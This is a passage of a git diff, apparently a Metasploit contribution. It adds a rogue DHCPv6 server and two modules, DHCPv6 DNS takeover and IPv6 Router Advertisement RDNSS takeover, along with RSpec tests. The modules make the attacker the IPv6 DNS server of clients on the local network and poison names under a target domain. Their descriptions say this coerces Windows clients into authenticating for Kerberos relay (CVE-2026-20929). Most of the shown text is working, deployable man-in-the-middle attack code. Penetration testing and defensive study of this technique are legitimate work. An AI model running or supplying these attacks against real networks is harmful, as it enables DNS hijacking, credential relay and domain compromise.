valid_lifetime: valid_lifetime, + domain_list: domain_list + ) + return nil if response.nil? + + [request.msg_type, response.to_binary_s] + rescue StandardError => e + elog('Failed to handle DHCPv6 request', error: e) + nil + end + + attr_accessor :dns_servers, :assigned_address, :domain_list, :server_duid, + :listen_host, :interface, :preferred_lifetime, :valid_lifetime, + :context, :sock, :thread, :reporter + + protected + + def monitor_socket + loop do + readable, = ::IO.select([sock], nil, nil, 1) + next unless readable && readable[0] == sock + + buf, addr = sock.recvfrom(65535) + next if buf.nil? || buf.empty? + + # recvfrom's sender info has varied across rex-socket versions: newer + # returns [af, port, host, host], older returns the host string + # directly. Handle both so the reply reaches the real client. + client_host = addr.is_a?(::Array) ? addr[3] : addr + result = handle_request(buf) + next if result.nil? + + msg_type, response = result + # DHCPv6 clients listen on the client port; reply to the source address. + sock.sendto(response, client_host, Constants::CLIENT_PORT) + reporter&.call(msg_type, client_host, buf) + end + end + + # Join the well-known DHCPv6 multicast group so the socket receives the + # multicast Solicit/Request messages clients send. Best-effort: platforms + # and interface indices vary, so failure is logged rather than fatal. + def join_multicast_group + group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) + ifindex = interface_index + # struct ipv6_mreq = 16-byte multicast address + native-order interface + # index; the index must be packed in the host's byte order, not network + # order, or the kernel joins on the wrong (usually zero) interface. + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('L')) + rescue StandardError => e + elog('Failed to join DHCPv6 multicast group', error: e) + end + + def ipv6_join_group_opt + if ::Socket.const_defined?(:IPV6_JOIN_GROUP) + ::Socket::IPV6_JOIN_GROUP + else + ::Socket::IPV6_ADD_MEMBERSHIP + end + end + + def interface_index + return 0 if interface.nil? || interface.empty? + + ::Socket.getifaddrs.find { |ifaddr| ifaddr.name == interface }&.ifindex || 0 + end + + def random_mac + # 0x02 in the first octet marks the address locally administered + "\x02".b + Random.new.bytes(5) + end + end + end + end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb new file mode 100644 index 0000000000000..86d56d68437de --- /dev/null +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'DHCPv6 DNS Takeover (mitm6-style IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue DHCPv6 server that hands the attacker to IPv6 + clients as their DNS server (the classic mitm6 primitive), and a paired + DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is the native + coercion half of the Kerberos relay via DNS technique (CVE-2026-20929), + removing the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + }, + 'Author' => [ + 'Pushpender Rathore' # native DHCPv6 + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the DHCPv6 and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin. + register_options( + [ + OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), + OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + validate_ipv6!(datastore['LEASE_IP6'], 'LEASE_IP6') if datastore['LEASE_IP6'].present? + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_dhcpv6_server + print_status("DHCPv6 server started, advertising #{datastore['SPOOF_IP6']} as the DNS server") + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind a service socket: #{e.message}") + end + + def cleanup + super + @dhcpv6_server&.stop + @dhcpv6_server = nil + end + + private + + def start_dhcpv6_server + @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( + dns_servers: [datastore['SPOOF_IP6']], + assigned_address: datastore['LEASE_IP6'], + domain_list: [datastore['TARGET_DOMAIN']], + interface: datastore['DHCPV6_INTERFACE'], + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + @dhcpv6_server.on_request do |msg_type, client_host, _buf| + vprint_status("DHCPv6 #{dhcpv6_message_name(msg_type)} from #{client_host}, answered with DNS #{datastore['SPOOF_IP6']}") + end + @dhcpv6_server.start + end + + def dhcpv6_message_name(msg_type) + Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| + Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type + end || msg_type + end +end diff --git a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb new file mode 100644 index 0000000000000..6cb91174b9e5f --- /dev/null +++ b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb @@ -0,0 +1,192 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Capture + include Msf::Exploit::Remote::Ipv6 + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPv6 Router Advertisement DNS Takeover (RDNSS IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue IPv6 router that advertises the attacker as the + recursive DNS server (RDNSS, RFC 8106) inside Router Advertisements, and a + paired DNS server that poisons names under a target domain to point at the + attacker while transparently forwarding all other lookups so the victim + stays functional. + + It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS + takeover: instead of answering DHCPv6 Solicits, it multicasts RAs + carrying an RDNSS option, which modern Windows (and other RFC 8106 + clients) adopt as their IPv6 resolver. It also listens for Router + Solicitations and replies with a unicast RA immediately, so a client is + coerced the moment it boots or refreshes rather than waiting for the next + unsolicited advertisement. By default the RA does not claim to be a + default router (router lifetime 0), so routing is left untouched and only + DNS is taken over. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is a native coercion + half of the Kerberos relay via DNS technique (CVE-2026-20929), removing + the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + Layer 2 adjacency (same segment) and root privileges to inject raw + packets are required. + }, + 'Author' => [ + 'Pushpender Rathore' # native RA/RDNSS + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://www.rfc-editor.org/rfc/rfc8106'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the RA/RDNSS and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin; INTERFACE/SMAC/SHOST come from the Ipv6 mixin. + register_options( + [ + OptInt.new('RA_INTERVAL', [ true, 'Seconds between unsolicited Router Advertisements.', 30 ]), + OptBool.new('RESPOND_TO_SOLICITS', [ true, 'Also reply to Router Solicitations with an immediate unicast RA.', true ]), + OptBool.new('ADVERTISE_SEARCH_DOMAIN', [ true, 'Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution.', true ]), + OptBool.new('BECOME_ROUTER', [ true, 'Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover.', false ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + fail_with(Failure::BadConfig, 'RA_INTERVAL must be >= 1') if datastore['RA_INTERVAL'] < 1 + check_pcaprub_loaded + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_ra_service + print_status("Advertising #{datastore['SPOOF_IP6']} as the IPv6 DNS server via Router Advertisements every #{datastore['RA_INTERVAL']}s") + print_status('Responding to Router Solicitations with an immediate unicast RA') if datastore['RESPOND_TO_SOLICITS'] + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind the DNS service socket: #{e.message}") + end + + def cleanup + super + @ra_thread&.kill + @ra_thread = nil + close_pcap if @ra_pcap_open + @ra_pcap_open = false + end + + private + + def start_ra_service + interface = datastore['INTERFACE'] || ipv6_interface + + @ra_smac = datastore['SMAC'].presence || begin + get_mac(interface) + rescue StandardError => e + fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}") + end + + @ra_shost = datastore['SHOST'].presence || ipv6_link_address('INTERFACE' => interface) + fail_with(Failure::BadConfig, "Could not determine a link-local source address for #{interface}; set SHOST") if @ra_shost.to_s.empty? + + @ra_domains = datastore['ADVERTISE_SEARCH_DOMAIN'] ? [datastore['TARGET_DOMAIN']] : [] + @ra_router_lifetime = datastore['BECOME_ROUTER'] ? 1800 : 0 + + # Unsolicited RA is the same packet every time; solicited replies are built + # per client so they can be unicast back. + unsolicited = build_ra_dns_packet + + open_opts = { 'INTERFACE' => interface, 'ARPCAP' => false } + # Only Router Solicitations (ICMPv6 type 133) need to reach the read loop. + open_opts['FILTER'] = 'icmp6 and ip6[40] == 133' if datastore['RESPOND_TO_SOLICITS'] + + begin + open_pcap(open_opts) + rescue StandardError => e + fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}") + end + @ra_pcap_open = true + + @ra_thread = framework.threads.spawn('IPv6-RA-Service', false) { ra_service_loop(unsolicited) } + end + + # Single capture thread: multicast an unsolicited RA on the interval while + # answering Router Solicitations immediately. Using one thread keeps all pcap + # access serialised on the same handle. + def ra_service_loop(unsolicited) + interval = datastore['RA_INTERVAL'].to_i + respond = datastore['RESPOND_TO_SOLICITS'] + last_unsolicited = 0 + + loop do + now = Time.now.to_i + if now - last_unsolicited >= interval + inject(unsolicited.to_s) + last_unsolicited = now + end + + handled = respond && handle_router_solicitation(capture.next) + Rex.sleep(0.1) unless handled + end + end + + # Parse a captured frame; if it is a Router Solicitation, reply with an RA + # (unicast to the solicitor, or multicast when its source is unspecified). + # Returns true when a solicitation was answered. + def handle_router_solicitation(bytes) + return false if bytes.nil? + + begin + pkt = PacketFu::Packet.parse(bytes) + rescue StandardError + return false + end + return false unless ipv6_router_solicitation?(pkt) + + dst_mac, dst_addr = ipv6_solicited_ra_target(pkt.eth_saddr, pkt.ipv6_saddr) + inject(build_ra_dns_packet(dst_mac: dst_mac, dst_addr: dst_addr).to_s) + print_good("Answered Router Solicitation from #{pkt.eth_saddr} (#{pkt.ipv6_saddr}) -> RDNSS #{datastore['SPOOF_IP6']}") + true + end + + def build_ra_dns_packet(dst_mac: '33:33:00:00:00:01', dst_addr: 'ff02::1') + ipv6_build_ra_dns_packet( + @ra_smac, + [datastore['SPOOF_IP6']], + shost: @ra_shost, + domains: @ra_domains, + router_lifetime: @ra_router_lifetime, + dst_mac: dst_mac, + dst_addr: dst_addr + ) + end +end diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb new file mode 100644 index 0000000000000..002f5b42be52b --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -0,0 +1,140 @@ +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Ipv6 do + # The packet builders under test are pure, so allocate an includer without + # running the mixin's pcaprub-dependent initialize. + subject(:mod) do + Class.new { include Msf::Exploit::Remote::Ipv6 }.allocate + end + + describe '#ipv6_build_rdnss_option' do + it 'encodes a single DNS server as an RFC 8106 RDNSS option' do + opt = mod.ipv6_build_rdnss_option('dead:beef::53') + + type, length, reserved = opt[0, 4].unpack('CCn') + lifetime = opt[4, 4].unpack1('N') + + expect(type).to eq(25) + expect(length).to eq(3) # 1 header unit + 2 units for one 16-byte address + expect(reserved).to eq(0) + expect(lifetime).to eq(0xFFFFFFFF) + expect(opt.length).to eq(length * 8) + expect(opt[8, 16]).to eq(IPAddr.new('dead:beef::53').hton) + end + + it 'encodes multiple DNS servers and sizes the option accordingly' do + opt = mod.ipv6_build_rdnss_option(['dead:beef::53', 'dead:beef::54'], 600) + + length = opt[1].unpack1('C') + expect(length).to eq(5) # 1 + 2 * 2 addresses + expect(opt[4, 4].unpack1('N')).to eq(600) + expect(opt[8, 16]).to eq(IPAddr.new('dead:beef::53').hton) + expect(opt[24, 16]).to eq(IPAddr.new('dead:beef::54').hton) + end + + it 'rejects an empty server list' do + expect { mod.ipv6_build_rdnss_option([]) }.to raise_error(ArgumentError) + end + + it 'rejects an IPv4 address, since hton would silently encode it as 4 bytes and corrupt the option length' do + expect { mod.ipv6_build_rdnss_option('192.0.2.1') }.to raise_error(ArgumentError, /invalid IPv6 address/) + end + end + + describe '#ipv6_build_dnssl_search_option' do + it 'encodes search domains DNS-label-encoded and 8-octet aligned' do + opt = mod.ipv6_build_dnssl_search_option(['kerberos.issue']) + + type, length = opt[0, 2].unpack('CC') + expect(type).to eq(31) + expect(opt.length).to eq(length * 8) + expect(opt.length % 8).to eq(0) + # DNS label encoding of kerberos.issue + expect(opt[8..]).to start_with("\x08kerberos\x05issue\x00".b) + end + end + + describe '#ipv6_build_ra_dns_packet' do + let(:smac) { '00:11:22:33:44:55' } + let(:packet) do + mod.ipv6_build_ra_dns_packet( + smac, + ['dead:beef::53'], + shost: 'fe80::1', + domains: ['kerberos.issue'] + ) + end + + it 'builds an ICMPv6 Router Advertisement to the all-nodes multicast group' do + expect(packet.ipv6_daddr).to eq('ff02::1') + expect(packet.ipv6_saddr).to eq('fe80::1') + expect(packet.ipv6_next).to eq(0x3a) # ICMPv6 + expect(packet.payload[0].unpack1('C')).to eq(134) # RA type + end + + it 'defaults to a router lifetime of 0 (DNS-only, not a default router)' do + router_lifetime = packet.payload[6, 2].unpack1('n') + expect(router_lifetime).to eq(0) + end + + it 'raises the router lifetime when asked to become a router' do + pkt = mod.ipv6_build_ra_dns_packet(smac, ['dead:beef::53'], router_lifetime: 1800) + expect(pkt.payload[6, 2].unpack1('n')).to eq(1800) + end + + it 'carries the RDNSS option advertising the attacker as DNS' do + expect(packet.payload).to include(IPAddr.new('dead:beef::53').hton) + expect(packet.payload).to include([25].pack('C')) # RDNSS option type present + end + + it 'omits the DNSSL search option when no domains are given' do + pkt = mod.ipv6_build_ra_dns_packet(smac, ['dead:beef::53']) + # SLLA (1) + RDNSS (25); no DNSSL (31) option byte at an option boundary + expect(pkt.payload).not_to include("\x1f\x03".b) # type 31, length 3 + end + + it 'unicasts to a specific client when a destination is given' do + pkt = mod.ipv6_build_ra_dns_packet( + smac, ['dead:beef::53'], + dst_mac: 'aa:bb:cc:dd:ee:ff', dst_addr: 'fe80::abcd' + ) + expect(pkt.eth_daddr).to eq('aa:bb:cc:dd:ee:ff') + expect(pkt.ipv6_daddr).to eq('fe80::abcd') + end + end + + describe '#ipv6_router_solicitation?' do + # An ICMPv6 Router Solicitation (type 133) with an empty body. + let(:rs_packet) do + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [133, 0, 0, 0].pack('CCnN') + PacketFu::Packet.parse(p.to_s) + end + + it 'recognises a Router Solicitation' do + expect(mod.ipv6_router_solicitation?(rs_packet)).to be(true) + end + + it 'rejects a non-solicitation ICMPv6 packet' do + p = PacketFu::IPv6Packet.new + p.ipv6_next = 0x3a + p.payload = [134, 0, 0, 0].pack('CCnN') # Router Advertisement + expect(mod.ipv6_router_solicitation?(PacketFu::Packet.parse(p.to_s))).to be(false) + end + end + + describe '#ipv6_solicited_ra_target' do + it 'unicasts back to a solicitor with a real source address' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', 'fe80::5')).to eq(['aa:bb:cc:dd:ee:ff', 'fe80::5']) + end + + it 'multicasts when the solicitation source is unspecified (::)' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', '::')).to eq(['33:33:00:00:00:01', 'ff02::1']) + end + + it 'multicasts when the source address is missing' do + expect(mod.ipv6_solicited_ra_target('aa:bb:cc:dd:ee:ff', nil)).to eq(['33:33:00:00:00:01', 'ff02::1']) + end + end +end diff --git a/spec/lib/rex/proto/dhcpv6/packet_spec.rb b/spec/lib/rex/proto/dhcpv6/packet_spec.rb new file mode 100644 index 0000000000000..aa254aa8686f5 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/packet_spec.rb @@ -0,0 +1,139 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Packet do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:client_duid) { described_class.duid_ll('11:22:33:44:55:66') } + let(:server_duid) { described_class.duid_ll('aa:bb:cc:dd:ee:ff') } + + def build_solicit(extra_options = []) + described_class.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: client_duid }, + { code: const::OptionCode::IA_NA, data: [0xdeadbeef, 0, 0].pack('NNN') } + ] + extra_options + ) + end + + describe 'wire encoding' do + it 'round-trips a message through the wire format unchanged' do + wire = build_solicit.to_binary_s + expect(described_class.read(wire).to_binary_s).to eq(wire) + end + + it 'lays out the header as type + 3-byte transaction id + TLV options' do + wire = build_solicit.to_binary_s + expect(wire[0].unpack1('C')).to eq(const::MessageType::SOLICIT) + expect(wire[1, 3]).to eq("\x01\x02\x03".b) + # first option: CLIENTID (code 1), length, then the DUID + expect(wire[4, 2].unpack1('n')).to eq(const::OptionCode::CLIENTID) + expect(wire[6, 2].unpack1('n')).to eq(client_duid.bytesize) + end + end + + describe '.duid_ll' do + it 'encodes DUID type 3, ethernet hardware type, and the MAC bytes' do + expect(client_duid).to eq("\x00\x03\x00\x01\x11\x22\x33\x44\x55\x66".b) + end + + it 'accepts a MAC with dashes or raw bytes' do + expect(described_class.duid_ll('11-22-33-44-55-66')).to eq(client_duid) + expect(described_class.duid_ll("\x11\x22\x33\x44\x55\x66".b)).to eq(client_duid) + end + end + + describe '.dns_servers_option' do + it 'packs each IPv6 address as 16 network-order bytes' do + opt = described_class.dns_servers_option(['fe80::1', '2001:db8::2']) + expect(opt.code).to eq(const::OptionCode::DNS_SERVERS) + expect(opt.data.to_binary_s).to eq(Rex::Socket.addr_aton('fe80::1') + Rex::Socket.addr_aton('2001:db8::2')) + end + end + + describe '.request_iaid' do + it 'reads the IAID out of the request IA_NA option' do + expect(described_class.request_iaid(build_solicit)).to eq(0xdeadbeef) + end + + it 'returns nil when there is no IA_NA' do + info_req = described_class.new(msg_type: const::MessageType::INFORMATION_REQUEST, transaction_id: 'abc') + expect(described_class.request_iaid(info_req)).to be_nil + end + end + + describe '.response_type_for' do + it 'answers a Solicit with an Advertise' do + expect(described_class.response_type_for(build_solicit)).to eq(const::MessageType::ADVERTISE) + end + + it 'answers a Rapid-Commit Solicit with a Reply' do + solicit = build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]) + expect(described_class.response_type_for(solicit)).to eq(const::MessageType::REPLY) + end + + it 'answers a Request with a Reply' do + req = described_class.new(msg_type: const::MessageType::REQUEST, transaction_id: 'abc') + expect(described_class.response_type_for(req)).to eq(const::MessageType::REPLY) + end + + it 'does not answer message types it does not handle (e.g. Release)' do + rel = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.response_type_for(rel)).to be_nil + end + end + + describe '.build_response' do + subject(:response) do + described_class.build_response( + request: described_class.read(build_solicit.to_binary_s), + server_duid: server_duid, + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + domain_list: ['kerberos.issue'] + ) + end + + it 'produces a wire-valid Advertise that echoes the transaction id' do + expect(response.msg_type).to eq(const::MessageType::ADVERTISE) + expect(response.transaction_id.to_binary_s).to eq("\x01\x02\x03".b) + expect(described_class.read(response.to_binary_s).to_binary_s).to eq(response.to_binary_s) + end + + it 'includes the server DUID and echoes the client DUID' do + server_id = response.find_option(const::OptionCode::SERVERID) + client_id = response.find_option(const::OptionCode::CLIENTID) + expect(server_id.data.to_binary_s).to eq(server_duid) + expect(client_id.data.to_binary_s).to eq(client_duid) + end + + it 'hands out the attacker as DNS server' do + dns = response.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'leases the assigned address in an IA_NA echoing the client IAID' do + ia_na = response.find_option(const::OptionCode::IA_NA) + expect(ia_na.data.to_binary_s[0, 4].unpack1('N')).to eq(0xdeadbeef) + # IA_NA data = IAID(4) + T1(4) + T2(4), then a nested IAADDR option + # (code(2) + len(2) + address(16) + lifetimes(8)); address starts at 12 + 4. + iaaddr_option = ia_na.data.to_binary_s[12..] + expect(iaaddr_option[0, 2].unpack1('n')).to eq(const::OptionCode::IAADDR) + expect(Rex::Socket.addr_ntoa(iaaddr_option[4, 16])).to eq('fe80::dead') + end + + it 'returns nil for a request type it does not answer' do + release = described_class.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc') + expect(described_class.build_response(request: release, server_duid: server_duid, dns_servers: ['fe80::53'])).to be_nil + end + + it 'echoes Rapid Commit and replies when the client requested it' do + solicit = described_class.read(build_solicit([{ code: const::OptionCode::RAPID_COMMIT, data: '' }]).to_binary_s) + reply = described_class.build_response(request: solicit, server_duid: server_duid, dns_servers: ['fe80::53']) + expect(reply.msg_type).to eq(const::MessageType::REPLY) + expect(reply.find_option(const::OptionCode::RAPID_COMMIT)).not_to be_nil + end + end +end diff --git a/spec/lib/rex/proto/dhcpv6/server_spec.rb b/spec/lib/rex/proto/dhcpv6/server_spec.rb new file mode 100644 index 0000000000000..0fa51ef179f22 --- /dev/null +++ b/spec/lib/rex/proto/dhcpv6/server_spec.rb @@ -0,0 +1,63 @@ +# -*- coding: binary -*- + +require 'spec_helper' + +RSpec.describe Rex::Proto::DHCPv6::Server do + let(:const) { Rex::Proto::DHCPv6::Constants } + let(:packet) { Rex::Proto::DHCPv6::Packet } + + subject(:server) do + described_class.new( + dns_servers: ['fe80::53'], + assigned_address: 'fe80::dead', + server_mac: 'aa:bb:cc:dd:ee:ff' + ) + end + + def solicit + packet.new( + msg_type: const::MessageType::SOLICIT, + transaction_id: "\x01\x02\x03", + options: [ + { code: const::OptionCode::CLIENTID, data: packet.duid_ll('11:22:33:44:55:66') }, + { code: const::OptionCode::IA_NA, data: [0xcafef00d, 0, 0].pack('NNN') } + ] + ).to_binary_s + end + + describe '#handle_request' do + it 'answers a Solicit with an Advertise handing out the attacker as DNS' do + msg_type, response = server.handle_request(solicit) + expect(msg_type).to eq(const::MessageType::SOLICIT) + + reply = packet.read(response) + expect(reply.msg_type).to eq(const::MessageType::ADVERTISE) + dns = reply.find_option(const::OptionCode::DNS_SERVERS) + expect(Rex::Socket.addr_ntoa(dns.data.to_binary_s)).to eq('fe80::53') + end + + it 'uses the configured server MAC in the server DUID' do + _msg_type, response = server.handle_request(solicit) + server_id = packet.read(response).find_option(const::OptionCode::SERVERID) + expect(server_id.data.to_binary_s).to eq(packet.duid_ll('aa:bb:cc:dd:ee:ff')) + end + + it 'returns nil for a message type it does not answer' do + release = packet.new(msg_type: const::MessageType::RELEASE, transaction_id: 'abc').to_binary_s + expect(server.handle_request(release)).to be_nil + end + + it 'returns nil (and does not raise) on malformed input' do + expect(server.handle_request("\xff")).to be_nil + end + end + + describe '#initialize' do + it 'generates a random locally-administered server DUID when no MAC is given' do + s = described_class.new(dns_servers: ['fe80::53']) + # DUID-LL: type(2) + hwtype(2) + 6-byte MAC; first MAC byte 0x02 = locally administered + expect(s.server_duid.bytesize).to eq(10) + expect(s.server_duid[4].unpack1('C')).to eq(0x02) + end + end +end diff --git a/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb new file mode 100644 index 0000000000000..b2566fcc16fc4 --- /dev/null +++ b/spec/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/dhcp/dhcpv6_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/dhcp/dhcpv6_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: '10.0.0.5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + mod.datastore['SPOOF_IP6'] = 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + expect(resp.header.qr).to be(true) + end + + it 'poisons arbitrary subdomains under the target domain (wildcard)' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('anything.sub.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + end + + it 'answers with a CNAME when RELAY_CNAME is set' do + mod.datastore['RELAY_CNAME'] = 'evil.kerberos.issue' + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + cname = resp.answer.find { |rr| rr.type == 'CNAME' } + expect(cname).not_to be_nil + expect(cname.domainname.to_s.chomp('.')).to eq('evil.kerberos.issue') + end + + it 'only poisons the listed hosts when TARGET_HOSTS is set' do + mod.datastore['TARGET_HOSTS'] = 'dc1.kerberos.issue' + allow(dns_service).to receive(:default_dispatch_request) + + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + + # A different in-domain host is out of scope now, so it is forwarded. + expect(dns_service).to receive(:default_dispatch_request) + mod.on_dispatch_request(cli, query_bytes('other.kerberos.issue', 'AAAA')) + end + + it 'forwards out-of-scope queries to the default handler instead of poisoning' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + end +end diff --git a/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb new file mode 100644 index 0000000000000..1849f3fecea11 --- /dev/null +++ b/spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb @@ -0,0 +1,135 @@ +require 'spec_helper' + +RSpec.describe 'auxiliary/spoof/ipv6/ipv6_ra_dns_takeover' do + include_context 'Msf::Simple::Framework#modules loading' + + subject(:mod) do + load_and_create_module( + module_type: 'auxiliary', + reference_name: 'spoof/ipv6/ipv6_ra_dns_takeover' + ) + end + + let(:cli) { double('cli', peerhost: 'fe80::5', peerport: 546) } + let(:dns_service) { double('service') } + + before do + mod.datastore['TARGET_DOMAIN'] = 'kerberos.issue' + mod.datastore['SPOOF_IP6'] = 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request (via shared NamePoisoner)' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + 